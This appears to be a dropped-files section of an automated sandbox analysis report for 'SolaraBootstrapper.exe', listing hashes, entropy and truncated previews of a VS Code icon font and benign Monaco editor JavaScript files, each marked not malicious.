Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	TrueType Font data, 11 tables, 1st "GSUB", 16 names, Macintosh, type 1 string, codiconRegularcodiconcodiconVersion 1.11codiconThe icon font for Visual Studio Codehttp://fontel
Category:	dropped
Size (bytes):	77400
Entropy (8bit):	6.135011758024483
Encrypted:	false
SSDEEP:	1536:KgrM3RL0IWAUnc3sMKUdrulGAj3epKYhUwzSf0XLZKeK:KgrM3RAdZc8MKUZ6epKA5zSf0PK
MD5:	1ABA5831B7E53D5104D454A91BFFDD6F
SHA1:	9A5E3C389433ADDD5D5A393D7CC28C465219542C
SHA-256:	B3FFC1AF5867D6C901EA05F38EE12F8F8369DB4912A91D56156EE9C85BD47DC3
SHA-512:	161DD28DDD6AA1BF57614FCF46922879C45A3D2422A4A7D8D873367E5F1E6BE3CEDA3A4197CE829E3EBFF699E2E5D7705F57D54E3DECF05411EF40EBE38C6787
Malicious:	false
Preview:	...........0GSUB .%z...8...TOS/27OFi.......`cmap.kB.........glyfE..d..&4....headX..S.......6hhea.[.........$hmtx.)..........loca....."....zmaxp........... name...K...<....post..1...4...#.....,.....,.................................[.._.<....,....\|%......\|%.........-...................u...............................0.>..DFLT..latn............................liga.................................+.............*...........M............................PfEd...`.#.,.....G.........................,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.de.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (494)
Category:	dropped
Size (bytes):	869
Entropy (8bit):	5.108454641046411
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIQRkVNYcBfPu/j8GVhmnX:h/DHn43tZRsavW/j8GVhmnX
MD5:	2CC7C26DE2C6539D92E48DF01C747212
SHA1:	2F412A8C084F7D4007F597775137ED0F6B30ACA6
SHA-256:	1EA09D107089DC1E8BC0BA408FEFCBDCBF366C697BA216F88DA49330130E0514
SHA-512:	F7D1E655AC538B8179296C4A84F56A8EB37E6B18D44ACED642F46D49377763526AF51B314BFBE36533F97A7A16585820A3B44CB86851AE131A4ADA74FD9CA139
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.de",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["Array","Boolescher Wert","Klasse","Konstante","Konstruktor","Enumeration","Enumerationsmember","Ereignis","Feld","Datei","Funktion","Schnittstelle","Schl\xFCssel","Methode","Modul","Namespace","NULL","Zahl","Objekt","Operator","Paket","Eigenschaft","Zeichenfolge","Struktur","Typparameter","Variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.de.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.es.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (515)
Category:	dropped
Size (bytes):	890
Entropy (8bit):	5.062413063201018
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNI1RkV7GgzX4JOmxUBmnk:h/DHn43tZRsaxgzCOmcmnk
MD5:	BE65596CF447F87B15945ADEC9AB6031
SHA1:	23D8A0D0AD6F13B2CB9CD360D4E0731846242219
SHA-256:	56341C7827241A6BF388660A020B45E3F5A191B7DA46F7A9BC30FBCC61FF2EBB
SHA-512:	0B86DF2585D1A9ABCA9A7581D91A77B1FF343A9F4DB2D35CE809C6106DC78BE3A604EF8E27380C57BD82DFD2400BDB66328E96B94435DCD8089F2F4D6F92F971
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.es",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matriz","booleano","clase","constante","constructor","enumeraci\xF3n","miembro de la enumeraci\xF3n","evento","campo","archivo","funci\xF3n","interfaz","clave","m\xE9todo","m\xF3dulo","espacio de nombres","NULL","n\xFAmero","objeto","operador","paquete","propiedad","cadena","estructura","par\xE1metro de tipo","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.es.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.fr.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (529)
Category:	dropped
Size (bytes):	904
Entropy (8bit):	5.1032081550705755
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIBRkVHuYOFnb9Z8RdLmng:h/DHn43tZRsaWOFb9+RZmng
MD5:	0E0B9D2CD1250EF30F3B462AF8600C3F
SHA1:	3899FCF4CFA7250BBB0A2E943FC288D40A94BF68
SHA-256:	4A3AFC911E223F70F2FFE4FEBD392FFFFF6011607CC9752C4313E951121BC36A
SHA-512:	602747FA05C86AF14E6F11242B0FD2BEF2474CEC77F6CAD2CCA9923BAC9C0389AE5A970C86C89CB6FF83467446C13B401D529780D86425540F5B1839D2F64704
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.fr",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["tableau","bool\xE9en","classe","constante","constructeur","\xE9num\xE9ration","membre d'\xE9num\xE9ration","\xE9v\xE9nement","champ","fichier","fonction","interface","cl\xE9","m\xE9thode","module","espace de noms","NULL","nombre","objet","op\xE9rateur","package","propri\xE9t\xE9","cha\xEEne","struct","param\xE8tre de type","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.fr.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.it.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (504)
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.955498314023185
Encrypted:	false
SSDEEP:	12:UYEiBFNxn43vFgbRf27Rs9vkBu60RkXlJCKmFi+TsnwvHHo3OBMcG2uQ:hEiDHn43tgb2RsNIuxRkVYD8notnuQ
MD5:	40DCEF8A9C3999FFA8B95F6F4F594F38
SHA1:	0C60A08A17B25AC85EF27B06E73F552B5F166669
SHA-256:	74886FF47CB9BA5DCB72E223887BA3FC91B19F9818AEB9CBFC64A56203F22993
SHA-512:	75349033883604DC20A0CE9EA3BDD025915971BC09DEB01D71FF4BDACE16D5CF81AFFC0BA41831D3900CE7E39EC737C6B881D6B04F34BB8AD5F9932E5234518B
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.it",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["matrice","valore booleano","classe","costante","costruttore","enumerazione","membro di enumerazione","evento","campo","file","funzione","interfaccia","chiave","metodo","modulo","spazio dei nomi","Null","numero","oggetto","operatore","pacchetto","propriet\xE0","stringa","struct","parametro di tipo","variabile","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.it.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ja.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (892)
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.152311411434772
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIvKRkVcJ3AiXqzCoWS2vlBD1bfItvkPbmbsPFr8mIqm7n1:h/DHn43tZRsav2J3AlGoWS2vlzbfCvku
MD5:	621F9BAECCD7C53C86593A0AB55EAC65
SHA1:	9499604D5FC342A0DD505B7C661FC3304A5CAC67
SHA-256:	04B190DB7BC19AF7DD6D28069B0A8FBB2BAEEDCDBEAD5356773444049EB2E524
SHA-512:	7F1737822AB9F2E4216A0488F40D59D48FCDFA4C709140FF16E7ACCB6A4DA3E9BFA2B18533C731E38F570A9C0F1F71C64682FAD0A6076B9DF5C15FEBB4216791
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ja",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u914D\u5217","\u30D6\u30FC\u30EB\u5024","\u30AF\u30E9\u30B9","\u5B9A\u6570","\u30B3\u30F3\u30B9\u30C8\u30E9\u30AF\u30BF\u30FC","\u5217\u6319\u578B","\u5217\u6319\u578B\u30E1\u30F3\u30D0\u30FC","\u30A4\u30D9\u30F3\u30C8","\u30D5\u30A3\u30FC\u30EB\u30C9","\u30D5\u30A1\u30A4\u30EB","\u95A2\u6570","\u30A4\u30F3\u30BF\u30FC\u30D5\u30A7\u30A4\u30B9","\u30AD\u30FC","\u30E1\u30BD\u30C3\u30C9","\u30E2\u30B8\u30E5\u30FC\u30EB","\u540D\u524D\u7A7A\u9593","NULL","\u6570\u5024","\u30AA\u30D6\u30B8\u30A7\u30AF\u30C8","\u6F14\u7B97\u5B50","\u30D1\u30

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	832
Entropy (8bit):	4.947854490178491
Encrypted:	false
SSDEEP:	12:UYEiBFNxn43vFgbRf27Rs9vkBq0RkXlwhXeXlhryAul948/paec5emG2g:hEiDHn43tgb2RsNIBRkVWXe3rpuISmng
MD5:	B726874AD2F46BA88F950832850542B4
SHA1:	C813DFB6185D59B00AAFE2A98C7632AE67DE6A2F
SHA-256:	A7B212E2CD848787A8AF48FC99C5CE82DEE49A8534DE42FF4833024E93CA4D19
SHA-512:	633DD4C826E485F21F81A6B57DC50810ABBD8072C58F540715207406A667DF8C7EC074CAF64CCC8E3867DD1BBC9AE8D67F3F6837B51BD6FB1FE7104A3CCA417C
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["array","boolean","class","constant","constructor","enumeration","enumeration member","event","field","file","function","interface","key","method","module","namespace","null","number","object","operator","package","property","string","struct","type parameter","variable","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.js.map

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ko.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (708)
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.2418019682548636
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNITPRkV+MUFk45k/ulZKAqof7G50nO:h/DHn43tZRsaTrazYRq6KWnO
MD5:	18F7182628293BA344943946CD60581B
SHA1:	2661B387ADDBF8FAA2AF333F303CC4940AB4B9C0
SHA-256:	377F5295DF6A60B920589743362FA6400E1EC8825BCD0A11D19FE873D6AAEF98
SHA-512:	CFDDB18DA41643B6ED3EC22208CEC3D8CC451302BF23E5224B6C9B3F40F4F6E3B03BDC8969CF7AD9D1DCF53175AE4D8E2040472DC28A0F851D845BDB6ABAC329
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ko",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\uBC30\uC5F4","\uBD80\uC6B8","\uD074\uB798\uC2A4","\uC0C1\uC218","\uC0DD\uC131\uC790","\uC5F4\uAC70\uD615","\uC5F4\uAC70\uD615 \uBA64\uBC84","\uC774\uBCA4\uD2B8","\uD544\uB4DC","\uD30C\uC77C","\uD568\uC218","\uC778\uD130\uD398\uC774\uC2A4","\uD0A4","\uBA54\uC11C\uB4DC","\uBAA8\uB4C8","\uB124\uC784\uC2A4\uD398\uC774\uC2A4","Null","\uC22B\uC790","\uAC1C\uCCB4","\uC5F0\uC0B0\uC790","\uD328\uD0A4\uC9C0","\uC18D\uC131","\uBB38\uC790\uC5F4","\uAD6C\uC870\uCCB4","\uD615\uC2DD \uB9E4\uAC1C \uBCC0\uC218","\uBCC0\uC218","{0}({1})"]});..//# source

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.ru.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1544)
Category:	dropped
Size (bytes):	1919
Entropy (8bit):	4.476836409761143
Encrypted:	false
SSDEEP:	48:h/DHn43tZRsa2566RQNT4ZQkQMoyXZQMo9UraDM9YrQR/yqQnQLXSHpQmQcdQHQA:h/DHnYRsa2GMnvZU8/DaAuJzSMuT9XnJ
MD5:	771D91548299FD6A6276E4F7B53E3644
SHA1:	88609ED1327F9A196489FD6325F64C2ECACDF427
SHA-256:	715D1A916BB311FFB62B9114B186D86214C70CE8720589D894859102D002FB37
SHA-512:	200E78A5864A4DD91144E3F0DCD2B118BBC7ABB344A87A6D704D427A51122C2D062026C13DB2B02BD5B5BE4CCAD1DB8AD5B79C2969B236A68BA48F0D65CB45D3
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.ru",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u043C\u0430\u0441\u0441\u0438\u0432","\u043B\u043E\u0433\u0438\u0447\u0435\u0441\u043A\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435","\u043A\u043B\u0430\u0441\u0441","\u043A\u043E\u043D\u0441\u0442\u0430\u043D\u0442\u0430","\u043A\u043E\u043D\u0441\u0442\u0440\u0443\u043A\u0442\u043E\u0440","\u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u0435","\u044D\u043B\u0435\u043C\u0435\u043D\u0442 \u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u044F","\u0441\u043E\u0431\u044B\u0442\u0438\u0

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.zh-cn.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (625)
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	5.2841309877158515
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNIPRkVV+obSO9LlO2UTt0fnK:h/DHn43tZRsa/oGO9LlO2wsnK
MD5:	303BB444DA372ADFD2F00711E2F8AF5E
SHA1:	031D648CB39C521E9C314CABF6FED9B4BBFAD5EB
SHA-256:	CECE19CA9DB35EB58973A81EC27FC9866759920C2BA789ADA2887A94400F4DE5
SHA-512:	85B672818A2F3D5F7E4A6C996A683710E8BF5470CC0E28886441FE072B5A5933A1339A588346A99A46C9827F494E801CF52A130A25522BA08E97773614A0A5A9
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.zh-cn",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u6570\u7EC4","\u5E03\u5C14\u503C","\u7C7B","\u5E38\u6570","\u6784\u9020\u51FD\u6570","\u679A\u4E3E","\u679A\u4E3E\u6210\u5458","\u4E8B\u4EF6","\u5B57\u6BB5","\u6587\u4EF6","\u51FD\u6570","\u63A5\u53E3","\u952E","\u65B9\u6CD5","\u6A21\u5757","\u547D\u540D\u7A7A\u95F4","Null","\u6570\u5B57","\u5BF9\u8C61","\u8FD0\u7B97\u7B26","\u5305","\u5C5E\u6027","\u5B57\u7B26\u4E32","\u7ED3\u6784","\u7C7B\u578B\u53C2\u6570","\u53D8\u91CF","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.zh-cn.js.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\common\worker\simpleWorker.nls.zh-tw.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (643)
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.294811824997682
Encrypted:	false
SSDEEP:	24:hEiDHn43tgb2RsNITRkVOdteAIaIE9OAksxgOSO95HyDn6V:h/DHn43tZRsaRdtLH9OXsKOSO95HIn+
MD5:	441B351A58033DF07839A56FE88CB3F4
SHA1:	3DCC6C0BEBD5F503FDD0B856E20E51F3F1A1C151
SHA-256:	6D06A8DE18319120F905B26E564DDA2E2B464359CF565B8BB13154EDC9A30D7E
SHA-512:	624DDEE33681F4A3476B1F19DDCF675B1344A9DE87F2A7442CFAA5CCFB1D8B050BFF7D76442A6CF5C0B5502EE1730F2F8B27BDDB35FC3BFFD19A7191AE5726F5
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/base/common/worker/simpleWorker.nls.zh-tw",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u9663\u5217","\u5E03\u6797\u503C","\u985E\u5225","\u5E38\u6578","\u5EFA\u69CB\u51FD\u5F0F","\u5217\u8209","\u5217\u8209\u6210\u54E1","\u4E8B\u4EF6","\u6B04\u4F4D","\u6A94\u6848","\u51FD\u5F0F","\u4ECB\u9762","\u7D22\u5F15\u9375","\u65B9\u6CD5","\u6A21\u7D44","\u547D\u540D\u7A7A\u9593","null","\u6578\u5B57","\u7269\u4EF6","\u904B\u7B97\u5B50","\u5957\u4EF6","\u5C6C\u6027","\u5B57\u4E32","\u7D50\u69CB","\u578B\u5225\u53C3\u6578","\u8B8A\u6578","{0} ({1})"]});..//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\worker\workerMain.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (16336)
Category:	dropped
Size (bytes):	339604
Entropy (8bit):	5.6482831737137555
Encrypted:	false
SSDEEP:	6144:YD1ao/Ewqw8DWG79ynJiqWa6Amja8zgMAQ3GeS:YD1t//qWG79giqWa8ja8zgMA/eS
MD5:	F536916BB8C69485A43D531D4AEE4B2F
SHA1:	4BBF51AC452E609E283FFDB0AA69843232E519E9
SHA-256:	D3ACD18994F2571C2511314D049689D1B2D649BA667EE1F7291EB0750C08494F
SHA-512:	4A3C473ED88B5C91EA041C39FA6B60BE21A061288FB7341548F4C81A193EF1CA8E52D0149BCD0BC6AE9A7439E1A178D6390D06569513736F82F8FB94D6F48B7C
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/(function(){var J=["require","exports","vs/editor/common/core/range","vs/editor/common/core/offsetRange","vs/editor/common/core/position","vs/base/common/errors","vs/base/common/strings","vs/base/common/arrays","vs/editor/common/diff/defaultLinesDiffComputer/algorithms/diffAlgorithm","vs/base/common/event","vs/editor/common/core/lineRange","vs/base/common/arraysFind","vs/base/common/assert","vs/base/common/lifecycle","vs/base/common/objects","vs/editor/common/diff/defaultLinesDiffComputer/utils","vs/editor/common/diff/rangeMapping","vs/base/common/platform","vs/base/common/uri","vs/nls","vs/base/common/functional","vs/base/common/iterator","vs/base/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\abap\abap.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (14485)
Category:	dropped
Size (bytes):	14986
Entropy (8bit):	4.6391299681112
Encrypted:	false
SSDEEP:	384:GtbFlAVJmdZoL+v0gbDzhckKq9CNWrgfiJ6an:yg/mduY3hcFTNWrgf5an
MD5:	450CEBD6D2B253EA040A441F860CE09E
SHA1:	809FCD6A391CB39EE4B7E45BBA440581D3544E54
SHA-256:	69A2E9C84833412F35627B2681259FAFB5602632C86A002BD819592D5280EC3B
SHA-512:	6A66709479E46566103E5A78E926EA08A7AA60EA845A28DB6D8F97056E54E8D0E988F2EA3C0A81CFDA730A38C011627243C8EF3112238B7434B02E2574473415
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/abap/abap", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var i in e)s(t,i,{get:e[i],enumerable:!0})},d=(t,e,i,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!c.call(t,n)&&n!==i&&s(t,n,{get:()=>e[n],enumerable:!(a=o(e,n))\|\|a.enumerable});return t};var p=t=>d(s({},"__esModule",{value:!0}),t);var g={};l(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"*"},brackets:[["["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\apex\apex.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4274)
Category:	dropped
Size (bytes):	4775
Entropy (8bit):	5.296288322565082
Encrypted:	false
SSDEEP:	96:pQFDHnYRs8hHV//sax+rbV1+/0V1+/mQGkIlIGEuIBV/1cHhb6z7RlwGcXRqp:G9Y3hqA+rTx1KIlIhuABuHs9liXS
MD5:	30C9B6D5E98544EC4C16251577BDED1A
SHA1:	FA08CF3ADEE30BC6C9A6E41355CD37892DE516F8
SHA-256:	E24FD69A21C6193F82FA3194FD3E2902308B1624150124973EF38C98CF0E5397
SHA-512:	ADF050739EE9AA2A0F26EA4CB0DC1754FF7EABF57992F4F6A73D59B878C66DBC821DEA23F589375CDC8BBCDF2F34EEE4BA28BC5C2B1C4EF82A78077B17005A7B
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/apex/apex", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(e,t)=>{for(var s in t)i(e,s,{get:t[s],enumerable:!0})},g=(e,t,s,a)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let o of c(t))!l.call(e,o)&&o!==s&&i(e,o,{get:()=>t[o],enumerable:!(a=r(t,o))\|\|a.enumerable});return e};var p=e=>g(i({},"__esModule",{value:!0}),e);var h={};d(h,{conf:()=>m,language:()=>b});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\azcli\azcli.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1170)
Category:	dropped
Size (bytes):	1673
Entropy (8bit):	5.302245568375456
Encrypted:	false
SSDEEP:	24:pQyiDHn43tgb2RsIbEgh++/gPO1uGD5YC0aPs0vKPs0vHPs0NIhrKW:pQFDHn43tZRsD+/EO4GB11W1H1NIh1
MD5:	3F7EB57DA423D9D030D1652B8DE22E8F
SHA1:	08E12D584A4C709192C8170647A3C5DC84166371
SHA-256:	0BCDFD620DADCA6EF6B9CD908228790E82B06FBBD6607513789CEA42BBF1C67F
SHA-512:	FB42510901901666D99EE3CC185E8576985049F3B7D0DE857AF3A8F99690370B8B26F1E06EC812B39F330AC7704E110EEBA9B4FD0431A1D91D58D9EC87462ACD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/azcli/azcli", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},k=(t,e,o,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!l.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(a=i(e,n))\|\|a.enumerable});return t};var p=t=>k(s({},"__esModule",{value:!0}),t);var d={};c(d,{conf:()=>f,language:()=>g});var f={comments:{lineComment:"#"}},g={defaultT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\bat\bat.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2167)
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.475752673187107
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsS9+/ECO0HQ0Cw0V1+T01+BukGB3j4ly0/eX1HroHrb4rHK9mIP1p:pQFDHnYRsE+/ECOACvV1+I1+kB3j4lym
MD5:	3D5DEB3A173B138998890CCDDBAA876E
SHA1:	2A9E3EE457FD313D95B981E547D5008742F23F81
SHA-256:	64C1D55E14052EB1E56F09DE7380274A6CDE5F6579DE317D6CA7E3D27CC11A18
SHA-512:	BBE95876520DCBE9B73BEFF22AE911CABA167F6755734C28F54AEF83413BB02D1BEDFD933B9A61AE92FE645B5375AFD44AAF825DC416413C7B7142C06AE1903D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/bat/bat", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var g=(o,e)=>{for(var t in e)n(o,t,{get:e[t],enumerable:!0})},c=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!i.call(o,s)&&s!==t&&n(o,s,{get:()=>e[s],enumerable:!(a=r(e,s))\|\|a.enumerable});return o};var p=o=>c(n({},"__esModule",{value:!0}),o);var k={};g(k,{conf:()=>d,language:()=>m});var 